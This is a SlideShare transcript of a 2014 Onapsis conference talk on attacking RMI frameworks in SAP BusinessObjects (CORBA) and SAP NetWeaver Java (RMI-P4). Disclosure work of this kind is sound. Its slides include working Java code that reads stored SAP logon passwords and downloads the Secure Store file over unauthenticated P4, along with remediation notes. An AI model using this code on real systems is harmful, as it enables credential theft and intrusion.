SlideShare a Scribd company logo
1 of 39
Download to read offline
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
03/12/2014
1
Title goes hereNahuel D. Sánchez Sergio Abraham
nsanchez@onapsis.com abraham@onapsis.com
@serj_ab
Dissecting and Attacking RMI Frameworks
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
This presentation contains references to the products of SAP AG. SAP, R/3, xApps, xApp, SAP NetWeaver,
Duet, PartnerEdge, ByDesign, SAP Business ByDesign, and other SAP products and services mentioned
herein are trademarks or registered trademarks of SAP AG in Germany and in several other countries all
over the world.
Business Objects and the Business Objects logo, BusinessObjects, Crystal Reports, Crystal Decisions, Web
Intelligence, Xcelsius and other Business Objects products and services mentioned herein are trademarks
or registered trademarks of Business Objects in the United States and/or other countries.
SAP AG is neither the author nor the publisher of this publication and is not responsible for its content,
and SAP Group shall not be liable for errors or omissions with respect to the materials.
Disclaimer
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Onapsis Inc. Overview
Transforming how organizations protect the applications that
manage their business-critical processes and information.
 Founded: 2009
 Locations: Buenos Aires, AR | Boston, MA | Berlin, DE | Lyon, FR
 Technology: Onapsis X1 (Auditor Solution)
Onapsis Security Platform (Enterprise Solution)
(PCT patent-pending)
 Pricing: Subscription-based (Enterprise, Audit On-Demand and MSP)
 Research: 130+ SAP security advisories and presentations published
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Who are We?
 Sergio: SAP Security Specialist
 Nahuel: Security Researcher
• Reported more than 25 vulnerabilities in different SAP Products
• Onapsis Blog contributors
• Authors of Onapsis SAP Security In-Depth Publications
• Speakers/Trainers at Ekoparty, Hubcon, SANS
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
 Introduction
• What is RMI?
• RMI Implementations
• RMI vs Web Services
 CORBA implementation
• Basic concepts (IDL’s, IOR’s)
• CORBA and SAP Business Objects
• Attacks
 P4 implementation
• Basic Concepts
• P4 and SAP NetWeaver
 Conclusions
Agenda
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
 RMI stands for Remote Method Invocation
 Conceptually similar to RPC (Remote Procedure Call)
 Allows the invocation of clients running on remote machines
Introduction | What is RMI?
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Introduction | What is RMI? Cont’d
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
 Same Idea, different implementation
 Both allow users to execute actions in the server
 RMI
• 15-20 years old
• Complex (objects management, garbage collection)
• Provide interfaces for legacy systems
• Stateful
• A more profitable attack target
 Web Services
• 15-20 years old
• Stateless
• Aware of RMI limitations/problems when developed
RMI vs Web Services
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
 Products using RMI-based protocols
• Jboss Application Server (Java-RMI)
• Oracle Weblogic Server (Weblogic-RMI)
• IBM Lotus Domino (Java-RMI)
• Apache Axis2 (CORBA)
 In this talk
• SAP Business Objects (CORBA)
• SAP Netweaver Java (RMI-P4)
Introduction | What is RMI? Cont’d
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
So…What is SAP?
SAP (Systems, Applications and Products in Data Processing) is a German
company devoted to the development of business solutions.
 Founded in 1972.
 Almost 67,000 employees.*
 More than 253,000 customers.*
 Presence in most countries
Third biggest independent software vendor (ISV).
• http://www.sap.com/corporate-en/about/our-company/index.html
• http://en.wikipedia.org/wiki/SAP_SE
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
SAP Solutions
 Enterprise Solutions
 SAP CRM (Customer Relationship Management).
 SAP ERP (Enterprise Resource Planning).
 SAP SCM (Supply Chain Management).
 SAP SRM (Supplier Relationship Management).
 Business Solutions
 SAP GRC (Government, Risk and Compliance).
 SAP Portal
 SAP Solution Manager
 SAP Business Objects
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
CORBA implementation
 Common Object Request Broker Architecture
 Connect different software components (local/remote)
 Language agnostic
 Object oriented
 Provides “Objectization” to non-object languages like C or COBOL
http://pubs.opengroup.org-onlinepubs-9279299-apdxa.htm
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Common Object Request Broker Architecture
http://www.cs.wustl.edu/schmidt-corba-overview.html
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
CORBA – Locating objects
 CORBA Naming Service
• Implemented as an “Object Service”
• Provides a way to locate other objects
 CorbaLoc & CorbaName URLs
• Similar to “common” URLs
corbaloc:: target:1234/MyObjectKey
corbaname::target:1234/NameService#Hello/World
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
CORBA – Locating objects
IOR:010000003500000049444c3a696d672e73656167617465736f6674776172652e636f6d2f
_IIOP_ParseCDR: byte order LittleEndian, repository id
<IDL:img.seagatesoftware.com/ImplServ/OSCAFactory:3.1>, 1 profile
_IIOP_ParseCDR: profile 1 is 70 bytes, tag 0 (INTERNET), LittleEndian byte order
(iiop.c:parse_IIOP_Profile): bo=LittleEndian, version=1.1, hostname=BO4WV,
port=1056, object_key=<....`hjR........>
object key is <#00#00#00#00`hjR#88#C5#0C#00#02#00#00#00>;
no trustworthy most-specific-type info; unrecognized ORB type;
reachable with IIOP 1.1 at host "BO4WV", port 1056
 Interoperable Object References (IOR)
• Object key
• IP Address
• Listening port
• Repository ID
 Parsed IOR:
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
CORBA – IDLs
 Interface Definition Language (IDLs)
• Define objects
• Shared by the client and the server
• Language specific compilation
 Example IDL interface
//fortune.idl
Module Fortune {
interface CookieServer {
string get_cookie();
};
};
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
CORBA & SAP Business Objects
 Used to inter-process communications only
 SAP doesn’t provide IDLs for objects
 Options we have:
• Reverse engineering IDLs from classes (PITA)
Import JAVA Jar files and use it directly
 Files required:
• corbaidl.jar
• ebus405.jar
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
CORBA & SAP Business Objects
 The BOE Central Management Server (CMS)
• Platform’s brain
• Keeps track of all enabled services/servers
 Name server port
• Port TCP 6400 (default)
• Applications use this port for first contact
 Request port
• Dynamic port by default
• Used by all applications after first request
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
What we need to attack in a BO implementation?
 CMS IP
 CMS Static Port
 CMS IOR
 SRV’s IORs
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Obtaining the CMS IOR
 Obtained through traffic analysis
 Client sends string “aps” to CMS static port (6400)
 CMS returns its IOR
 Needed to further attacks
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
DEMO #1
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
DEMO #2
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
RMI-P4
 SAP proprietary protocol
 Present in every SAP Netweaver Application Server Java
 Combines features of Java RMI and CORBA
 Listens on port: 5XX04, (5XX06 for SSL)
 Can be tunneled through HTTP!!! P4HTTP (5XX05)
Enables client-server communication:
• Locating remote objects
• Communication with remote objects
• Loading classes remotely
 Examples:
• SAP Enterprise Portal
• SAP Solution Manager
https://help.sap.com/saphelp_nwce711/helpdata/en/48/295738a14558d8e10000000a421937/content.htm
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
RMI-P4
 Where is specifically RMI-P4 used?
• Real example: JMX (Java Management Extensions)
o Allows building manageable distributed Java Apps
 start/stop/restart
 changing configuration
 backup/import settings/so on…
 client-server architecture based on: RMI-P4
In fact... SAP Netweaver Application Server Java is based on a JMX Architecture
http://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=73160
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
RMI-P4
 Basic implementation
• Server-side:
public interface HelloWorld extends java.rmi.Remote {
public void hello();
}
public class HelloWorldImpl implements HelloWorld {
public void Hello() {
System.out.println(“Hello World”);
}
}
• Server and Client-side:
RMI-P4 does not use IDLs (as CORBA).
Interfaces are already known by the client since they are defined in both sides.
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
RMI-P4
 How to find and invoke a remote object?
JNDI (Java Native Directory Interface)
 Standard Java API
 Allows applications to access multiple naming and directory services via a common
interface
 Two very interesting features:
 Naming Service
 Directory Service
https://help.sap.com/saphelp_nwce711/helpdata/en/99/e8b84172133131e10000000a155106/content.htm
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Let’s mix the ingredients
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
public class BankClient {
Properties p = new Properties();
// Specify the type of the InitialContext factory.
p.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sap.engine.services.jndi.InitialContextFactoryImpl");
p.put(Context.PROVIDER_URL, “p4://” args[0] + ":" + args[1]); //Specify the
URL.
p.put(Context.SECURITY_PRINCIPAL, args[2]); //Specify the user.
p.put(Context.SECURITY_CREDENTIALS, args[3]);//Specify the password.
Context initialContext = new InitialContext(p); // Connect to the server by
the InitialContext.
Account account = (Account) initialContext.lookup("Bank");
// Invoke methods remotely.
account.deposit(100);
System.out.println("Balance:" + account.getBalance());
System.out.println("Try to draw...");
account.draw(50);
System.out.println("Balance:" + account.getBalance());
} catch (Exception ex) {
ex.printStackTrace();
}}
}
RMI-P4
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
RMI-P4
What happens if we do not specify this?
The user is logged as GUEST and.. as every application defines its own security
requirements… It only takes one missing authorization check in order to get full access!
https://help.sap.com/saphelp_nw73ehp1/helpdata/en/e9/88435b5d84b24e8c62048ff36bd600/content.htm
http://help.sap-ag.de/saphelp_nw73/helpdata/de/4a/eac9a0cd2823aee10000000a42189c/frameset.htm
p.put(Context.SECURITY_PRINCIPAL, args[2]); //Specify the user.
p.put(Context.SECURITY_CREDENTIALS, args[3]);//Specify the password.
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
RMI-P4
Attack 1: Authentication Credentials Disclosure
Example of application of this attack: System Landscape Directory
• Central information repository
• Consolidates all systems, hardware and software components
• Allows administration of systems
o Installation
o Updates and patches
o Interfaces
• Mandatory in every SAP implementation
http://help.sap.com/saphelp_nw70/helpdata/en/21/84570b3ae14e77b3047c82218974b9/content.htm
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
DEMO
Authentication Credentials disclosure
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Properties p = new Properties();
p.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sap.engine.services.jndi.InitialContextFactoryImpl");
p.put(Context.PROVIDER_URL, "p4://" + host + ":" + port);
Context initialContext = new InitialContext(p);
RFCRuntimeInterface_Stub o =
(RFCRuntimeInterface_Stub)initialContext.lookup("rfcengine");
BundleConfiguration[] bc = o.getConfigurations();
for (int i = 0; i < bc.length; i++) {
String data =
bc[i].getLogonClient()+":”+bc[i].getLogonUser()+":"+bc[i].getLogonPassword();
System.out.println(data);
Attack 1: Authentication Credentials Disclosure
RMI-P4
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
RMI-P4
Attack 2: Anonymous Remote File Read/Write
Targeted service: File Transfer Service API
• SAP Ready-to-Use Service
• Allows upload/download of files to/from the AppServer
• Most common use case: deploy of java applications
• Main problem: Lack of authorization checks.
o Consequence: Accessible by GUEST user!
http://help.sap.com/saphelp_oil472/helpdata/en/48/1d813ecfd43546e10000000a114084/content.htm
One more step…
Get Secure Store:
• Secure Store container (SecStore.properties)
• Secure Store key (SecStore.key)
• Decrypt! (3DES)
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
DEMO
Anonymous remote file read/write
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Properties p = new Properties();
p.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sap.engine.services.jndi.InitialContextFactoryImpl");
p.put(Context.PROVIDER_URL, "p4://" + host + ":" + port);
Context initialContext = new InitialContext(p);
FileTransfer_Stub o = (FileTransfer_Stub) initialContext.lookup("file");
String source = “C:tmpSecStore.properties”
String dest = “/usr/sap/<SID>/SYS/global/security/data/SecStore.properties”
com.sap.engine.services.file.RemoteFile f = o.createRemoteFile(source, dest);
f.download();
RMI-P4
Attack 2: Anonymous Remote File Read/Write
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
Properties p = new Properties();
p.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sap.engine.services.jndi.InitialContextFactoryImpl");
p.put(Context.PROVIDER_URL, "p4://" + host + ":" + port);
Context initialContext = new InitialContext(p);
FileTransfer_Stub o = (FileTransfer_Stub) initialContext.lookup("file");
String source = “C:tmpSecStore.properties”
String dest = “/usr/sap/<SID>/SYS/global/security/data/SecStore.properties”
com.sap.engine.services.file.RemoteFile f = o.createRemoteFile(source, dest);
f.download();
RMI-P4
Attack 2: Anonymous Remote File Read/Write
Protection / Countermeasure
 Secure P4 service (5XX04, 5XX05, 5XX06)
 Apply all SAP Security Notes. Keep the systems up-to-date.
 Implement SAP Security Notes 1682613 and 1819822.
Check the “References” slide for more information!
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved
 Bullet 1
• Bullet 2
o Bullet 3
Conclusions
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved 38
Title goes hereNahuel D. Sánchez Sergio Abraham
nsanchez@onapsis.com abraham@onapsis.com
@serj_ab
Questions?
CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved 39
Title goes here
Thank You
careers@onapsis.com
Blog.onapsis.com

More Related Content

What's hot

Preventing Vulnerabilities in SAP HANA based Deployments
Preventing Vulnerabilities in SAP HANA based DeploymentsPreventing Vulnerabilities in SAP HANA based Deployments
Preventing Vulnerabilities in SAP HANA based DeploymentsOnapsis Inc.
 
Onapsis SAP Backdoors
Onapsis SAP BackdoorsOnapsis SAP Backdoors
Onapsis SAP BackdoorsOnapsis Inc.
 
A Holistic View on SAP Security Why Securing Production Systems Is Not Enough
 	A Holistic View on SAP Security Why Securing Production Systems Is Not Enough 	A Holistic View on SAP Security Why Securing Production Systems Is Not Enough
A Holistic View on SAP Security Why Securing Production Systems Is Not EnoughOnapsis Inc.
 
Inception of the SAP Platform's Brain: Attacks on SAP Solution Manager
Inception of the SAP Platform's Brain: Attacks on SAP Solution ManagerInception of the SAP Platform's Brain: Attacks on SAP Solution Manager
Inception of the SAP Platform's Brain: Attacks on SAP Solution ManagerOnapsis Inc.
 
Sap penetration testing_defense_in_depth
Sap penetration testing_defense_in_depthSap penetration testing_defense_in_depth
Sap penetration testing_defense_in_depthIgor Igoroshka
 
Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC)
 	Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC) 	Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC)
Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC)Onapsis Inc.
 
Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe...
 	Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe... 	Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe...
Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe...Onapsis Inc.
 
Attacking SAP users with sapsploit
Attacking SAP users with sapsploit Attacking SAP users with sapsploit
Attacking SAP users with sapsploit ERPScan
 
Practical SAP pentesting workshop (NullCon Goa)
Practical SAP pentesting workshop (NullCon Goa)Practical SAP pentesting workshop (NullCon Goa)
Practical SAP pentesting workshop (NullCon Goa)ERPScan
 
All your SAP passwords belong to us
All your SAP passwords belong to usAll your SAP passwords belong to us
All your SAP passwords belong to usERPScan
 
Practical SAP pentesting (B-Sides San Paulo)
Practical SAP pentesting (B-Sides San Paulo)Practical SAP pentesting (B-Sides San Paulo)
Practical SAP pentesting (B-Sides San Paulo)ERPScan
 
5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applicationsERPScan
 
If I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionIf I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionERPScan
 
SAP SDM Hacking
SAP SDM HackingSAP SDM Hacking
SAP SDM HackingERPScan
 
Assess and monitor SAP security
Assess and monitor SAP securityAssess and monitor SAP security
Assess and monitor SAP securityERPScan
 
Attacking SAP Mobile
Attacking SAP MobileAttacking SAP Mobile
Attacking SAP MobileERPScan
 
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPBusiness breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPERPScan
 
Inception of the SAP Platforms Brain: Attacks on SAP Solution Manager
Inception of the SAP Platforms Brain: Attacks on SAP Solution ManagerInception of the SAP Platforms Brain: Attacks on SAP Solution Manager
Inception of the SAP Platforms Brain: Attacks on SAP Solution ManagerOnapsis Inc.
 
SAP (in)security: New and best
SAP (in)security: New and bestSAP (in)security: New and best
SAP (in)security: New and bestERPScan
 

What's hot (20)

Preventing Vulnerabilities in SAP HANA based Deployments
Preventing Vulnerabilities in SAP HANA based DeploymentsPreventing Vulnerabilities in SAP HANA based Deployments
Preventing Vulnerabilities in SAP HANA based Deployments
 
Onapsis SAP Backdoors
Onapsis SAP BackdoorsOnapsis SAP Backdoors
Onapsis SAP Backdoors
 
A Holistic View on SAP Security Why Securing Production Systems Is Not Enough
 	A Holistic View on SAP Security Why Securing Production Systems Is Not Enough 	A Holistic View on SAP Security Why Securing Production Systems Is Not Enough
A Holistic View on SAP Security Why Securing Production Systems Is Not Enough
 
Inception of the SAP Platform's Brain: Attacks on SAP Solution Manager
Inception of the SAP Platform's Brain: Attacks on SAP Solution ManagerInception of the SAP Platform's Brain: Attacks on SAP Solution Manager
Inception of the SAP Platform's Brain: Attacks on SAP Solution Manager
 
Sap penetration testing_defense_in_depth
Sap penetration testing_defense_in_depthSap penetration testing_defense_in_depth
Sap penetration testing_defense_in_depth
 
Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC)
 	Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC) 	Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC)
Attacks to SAP Web Applications: Your crown jewels online (BlackHat DC)
 
Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe...
 	Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe... 	Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe...
Your Crown Jewels Online: Further Attacks to SAP Web Applications (RSAConfe...
 
Attacking SAP users with sapsploit
Attacking SAP users with sapsploit Attacking SAP users with sapsploit
Attacking SAP users with sapsploit
 
Sap security – thinking with a hacker’s hat
Sap security – thinking with a hacker’s hatSap security – thinking with a hacker’s hat
Sap security – thinking with a hacker’s hat
 
Practical SAP pentesting workshop (NullCon Goa)
Practical SAP pentesting workshop (NullCon Goa)Practical SAP pentesting workshop (NullCon Goa)
Practical SAP pentesting workshop (NullCon Goa)
 
All your SAP passwords belong to us
All your SAP passwords belong to usAll your SAP passwords belong to us
All your SAP passwords belong to us
 
Practical SAP pentesting (B-Sides San Paulo)
Practical SAP pentesting (B-Sides San Paulo)Practical SAP pentesting (B-Sides San Paulo)
Practical SAP pentesting (B-Sides San Paulo)
 
5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications
 
If I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionIf I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second edition
 
SAP SDM Hacking
SAP SDM HackingSAP SDM Hacking
SAP SDM Hacking
 
Assess and monitor SAP security
Assess and monitor SAP securityAssess and monitor SAP security
Assess and monitor SAP security
 
Attacking SAP Mobile
Attacking SAP MobileAttacking SAP Mobile
Attacking SAP Mobile
 
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPBusiness breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
 
Inception of the SAP Platforms Brain: Attacks on SAP Solution Manager
Inception of the SAP Platforms Brain: Attacks on SAP Solution ManagerInception of the SAP Platforms Brain: Attacks on SAP Solution Manager
Inception of the SAP Platforms Brain: Attacks on SAP Solution Manager
 
SAP (in)security: New and best
SAP (in)security: New and bestSAP (in)security: New and best
SAP (in)security: New and best
 

Similar to Dissecting and Attacking RMI Frameworks

Sap fundamentals overview_for_sap_minors
Sap fundamentals overview_for_sap_minorsSap fundamentals overview_for_sap_minors
Sap fundamentals overview_for_sap_minorsCenk Ersoy
 
Open Source in Entperprises - A Presentation by SAP at OSCON 2014 Confernece
Open Source in Entperprises - A Presentation by SAP at OSCON 2014 ConferneceOpen Source in Entperprises - A Presentation by SAP at OSCON 2014 Confernece
Open Source in Entperprises - A Presentation by SAP at OSCON 2014 Confernecesanjay4sap
 
Cloud native Microservices using Spring Boot
Cloud native Microservices using Spring BootCloud native Microservices using Spring Boot
Cloud native Microservices using Spring BootSufyaan Kazi
 
Oracle Cloud café sur les mobile apps 10 mars
Oracle Cloud café sur les mobile apps 10 marsOracle Cloud café sur les mobile apps 10 mars
Oracle Cloud café sur les mobile apps 10 marsSorathaya Sirimanotham
 
Mobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with Oracle
Mobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with OracleMobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with Oracle
Mobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with OracleChris Muir
 
Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry
Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry
Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry James Watters
 
Oracle Cloud: Anything as a Service
Oracle Cloud: Anything as a ServiceOracle Cloud: Anything as a Service
Oracle Cloud: Anything as a ServiceBruno Borges
 
Custom Development - SAP HANA
Custom Development - SAP HANACustom Development - SAP HANA
Custom Development - SAP HANAMichal Korzen
 
Open Architecture in the Adobe Marketing Cloud - Summit 2014
Open Architecture in the Adobe Marketing Cloud - Summit 2014Open Architecture in the Adobe Marketing Cloud - Summit 2014
Open Architecture in the Adobe Marketing Cloud - Summit 2014Paolo Mottadelli
 
Soa12c launch 3 bpm 12c cr
Soa12c launch 3 bpm 12c crSoa12c launch 3 bpm 12c cr
Soa12c launch 3 bpm 12c crVasily Demin
 
Final business intelligence in the cloud
Final   business intelligence in the cloudFinal   business intelligence in the cloud
Final business intelligence in the cloudHossam Hassanien
 
SAPTECHED 2016 EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...
SAPTECHED 2016  EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...SAPTECHED 2016  EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...
SAPTECHED 2016 EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...Robert Eijpe
 
SAP HANA Cloud Platform CodeJam
SAP HANA Cloud Platform CodeJamSAP HANA Cloud Platform CodeJam
SAP HANA Cloud Platform CodeJamVladimir Pavlov
 
What is SAP API Management_.pdf
What is SAP API Management_.pdfWhat is SAP API Management_.pdf
What is SAP API Management_.pdfBilawalAmeen
 
Accelerate Digital London Technical Masterclass
Accelerate Digital London Technical MasterclassAccelerate Digital London Technical Masterclass
Accelerate Digital London Technical MasterclassApigee | Google Cloud
 
[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안
[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안
[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안VentureSquare
 
Modern Application Development for the Enterprise
Modern Application Development for the EnterpriseModern Application Development for the Enterprise
Modern Application Development for the EnterpriseJuarez Junior
 

Similar to Dissecting and Attacking RMI Frameworks (20)

Sap fundamentals overview_for_sap_minors
Sap fundamentals overview_for_sap_minorsSap fundamentals overview_for_sap_minors
Sap fundamentals overview_for_sap_minors
 
Open Source in Entperprises - A Presentation by SAP at OSCON 2014 Confernece
Open Source in Entperprises - A Presentation by SAP at OSCON 2014 ConferneceOpen Source in Entperprises - A Presentation by SAP at OSCON 2014 Confernece
Open Source in Entperprises - A Presentation by SAP at OSCON 2014 Confernece
 
Cloud native Microservices using Spring Boot
Cloud native Microservices using Spring BootCloud native Microservices using Spring Boot
Cloud native Microservices using Spring Boot
 
Oracle Cloud café sur les mobile apps 10 mars
Oracle Cloud café sur les mobile apps 10 marsOracle Cloud café sur les mobile apps 10 mars
Oracle Cloud café sur les mobile apps 10 mars
 
Mobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with Oracle
Mobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with OracleMobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with Oracle
Mobile Mumbo Jumbo - Demystifying the World of Enterprise Mobility with Oracle
 
Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry
Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry
Apachecon 2014 Keynote: The Apache Way in the Cloud with Cloud Foundry
 
SOA_BPM_12c_launch_event_BPM_track_proficiency_features_joost_volker_oracle
SOA_BPM_12c_launch_event_BPM_track_proficiency_features_joost_volker_oracleSOA_BPM_12c_launch_event_BPM_track_proficiency_features_joost_volker_oracle
SOA_BPM_12c_launch_event_BPM_track_proficiency_features_joost_volker_oracle
 
Oracle Cloud: Anything as a Service
Oracle Cloud: Anything as a ServiceOracle Cloud: Anything as a Service
Oracle Cloud: Anything as a Service
 
Custom Development - SAP HANA
Custom Development - SAP HANACustom Development - SAP HANA
Custom Development - SAP HANA
 
Open Architecture in the Adobe Marketing Cloud - Summit 2014
Open Architecture in the Adobe Marketing Cloud - Summit 2014Open Architecture in the Adobe Marketing Cloud - Summit 2014
Open Architecture in the Adobe Marketing Cloud - Summit 2014
 
Soa12c launch 3 bpm 12c cr
Soa12c launch 3 bpm 12c crSoa12c launch 3 bpm 12c cr
Soa12c launch 3 bpm 12c cr
 
Google Technical Webinar - Building Mashups with Google Apps and SAP, using S...
Google Technical Webinar - Building Mashups with Google Apps and SAP, using S...Google Technical Webinar - Building Mashups with Google Apps and SAP, using S...
Google Technical Webinar - Building Mashups with Google Apps and SAP, using S...
 
Final business intelligence in the cloud
Final   business intelligence in the cloudFinal   business intelligence in the cloud
Final business intelligence in the cloud
 
SAPTECHED 2016 EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...
SAPTECHED 2016  EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...SAPTECHED 2016  EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...
SAPTECHED 2016 EMEA - 10 Golden Rules for Designing a Custom-Built SAP Fiori...
 
SAP HANA Cloud Platform CodeJam
SAP HANA Cloud Platform CodeJamSAP HANA Cloud Platform CodeJam
SAP HANA Cloud Platform CodeJam
 
What is SAP API Management_.pdf
What is SAP API Management_.pdfWhat is SAP API Management_.pdf
What is SAP API Management_.pdf
 
Accelerate Digital London Technical Masterclass
Accelerate Digital London Technical MasterclassAccelerate Digital London Technical Masterclass
Accelerate Digital London Technical Masterclass
 
[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안
[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안
[PAG 비즈니스 플랫폼데이] Oracle Korea 글로벌 진출을 위한 솔루션 파트너 협력방안
 
Node.js as an IOT Bridge
Node.js as an IOT BridgeNode.js as an IOT Bridge
Node.js as an IOT Bridge
 
Modern Application Development for the Enterprise
Modern Application Development for the EnterpriseModern Application Development for the Enterprise
Modern Application Development for the Enterprise
 

More from Onapsis Inc.

Incident Response and SAP Systems
Incident Response and SAP SystemsIncident Response and SAP Systems
Incident Response and SAP SystemsOnapsis Inc.
 
Onapsis Security Platform: Detection and Response
Onapsis Security Platform: Detection and ResponseOnapsis Security Platform: Detection and Response
Onapsis Security Platform: Detection and ResponseOnapsis Inc.
 
Penetration Testing SAP Systems
Penetration Testing SAP SystemsPenetration Testing SAP Systems
Penetration Testing SAP SystemsOnapsis Inc.
 
Cyber-attacks to SAP Systems
Cyber-attacks to SAP SystemsCyber-attacks to SAP Systems
Cyber-attacks to SAP SystemsOnapsis Inc.
 
SAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crimeSAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crimeOnapsis Inc.
 
How Hackers can Open the Safe and Take the Jewels
How Hackers can Open the Safe and Take the JewelsHow Hackers can Open the Safe and Take the Jewels
How Hackers can Open the Safe and Take the JewelsOnapsis Inc.
 

More from Onapsis Inc. (6)

Incident Response and SAP Systems
Incident Response and SAP SystemsIncident Response and SAP Systems
Incident Response and SAP Systems
 
Onapsis Security Platform: Detection and Response
Onapsis Security Platform: Detection and ResponseOnapsis Security Platform: Detection and Response
Onapsis Security Platform: Detection and Response
 
Penetration Testing SAP Systems
